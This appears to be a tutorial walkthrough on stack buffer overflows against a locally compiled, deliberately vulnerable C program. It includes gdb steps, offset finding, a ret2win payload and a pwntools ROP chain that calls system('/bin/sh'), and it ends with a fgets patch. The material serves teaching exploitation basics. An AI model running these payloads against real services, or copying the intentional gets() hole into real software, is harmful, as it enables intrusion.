Article stats
- Read time
- 3 min
- Words
- 475
- Headings
- 15
- Code blocks
- 11
- Images
- 0
Overview
This is a controlled lab walkthrough. The goal is to understand memory corruption, not to attack real systems. Use it in a local VM, with binaries you compiled yourself.
Stack anatomy in 60 seconds
When a function is called, the stack stores local variables and the return address. Overflows let you overwrite that return address.
High addresses
+---------------------+
| return address |
| saved base pointer |
| local buffer[64] |
+---------------------+
Low addresses
Vulnerable program
#include <stdio.h>
#include <string.h>
void win() {
puts("win");
}
void vuln() {
char buf[64];
gets(buf); /* vulnerable on purpose */
}
int main() {
vuln();
return 0;
}
Compile for a lab target:
gcc -fno-stack-protector -no-pie -z execstack -o vuln vuln.c
Check the resulting mitigations:
checksec --file=./vuln
First crash
Feed a long input and inspect the crash:
python3 - <<'PY'
print("A" * 200)
PY
In gdb:
gdb -q ./vuln
(gdb) run
(gdb) info registers
(gdb) x/32gx $rsp
You are looking for the offset where the return address is overwritten.
Finding the offset
Use a cyclic pattern and read the crashing value:
python3 - <<'PY'
import itertools
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
pat = "".join(a+b+c for a in alphabet for b in alphabet for c in alphabet)
print(pat[:300])
PY
When the crash happens, locate the pattern position to compute the offset.
Mitigations that change the game
| Mitigation | What it does | Impact |
|---|---|---|
| NX | Marks stack non-executable | Blocks shellcode on stack |
| Canary | Detects stack corruption | Crashes before RET |
| PIE | Randomizes code base | Harder to jump to gadgets |
| RELRO | Protects GOT | Limits overwrite tricks |
Most modern binaries enable these by default. A lab often disables them so you can learn the basics.
ASLR and PIE notes
ASLR randomizes memory layout each run. PIE randomizes the binary base address. For a lab, you might temporarily disable ASLR to make addresses stable while learning:
setarch -R ./vuln
In real environments, assume ASLR and PIE are enabled and plan your exploit around leaks or relative gadgets.
Ret2win as a safe first goal
If the binary has a win() function, you can redirect execution there without injecting code.
from struct import pack
offset = 72
win_addr = 0x401146
payload = b"A" * offset + pack("<Q", win_addr)
print(payload)
Debugging tips
- Use
info frameto confirm where the saved return address lives. - Use
x/40gx $rspto inspect the stack after the crash. - Use
pattern_createandpattern_offsetif you have pwndbg or peda.
Minimal ROP example
If NX is enabled and there is no win(), build a small ROP chain to call system("/bin/sh") or a safe lab function. The key is to align the stack and set up registers correctly.
from pwn import *
elf = context.binary = ELF("./vuln")
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
bin_sh = next(elf.search(b"/bin/sh"))
payload = b"A" * 72
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(elf.plt["system"])
print(payload)
Why ROP works
NX blocks executing injected shellcode, but it does not stop you from chaining existing code fragments. A ROP chain uses small instruction sequences ending in ret to build a program from pieces of the binary and its libraries. That is why ASLR and PIE matter so much: they make those gadget addresses unpredictable.
Patch the bug
- gets(buf);
+ fgets(buf, sizeof(buf), stdin);
If you do not need the buffer at all, remove it entirely. Prefer safer wrappers and add input validation.
Network service note
If the vulnerable program is exposed over a socket, the same ideas apply, but you must handle I/O framing, timeouts, and partial reads. Always reproduce the crash locally before moving to a network target.
Checklist
- Trigger a crash
- Find the exact offset
- Build a ret2win payload
- Test with mitigations enabled
- Patch and recompile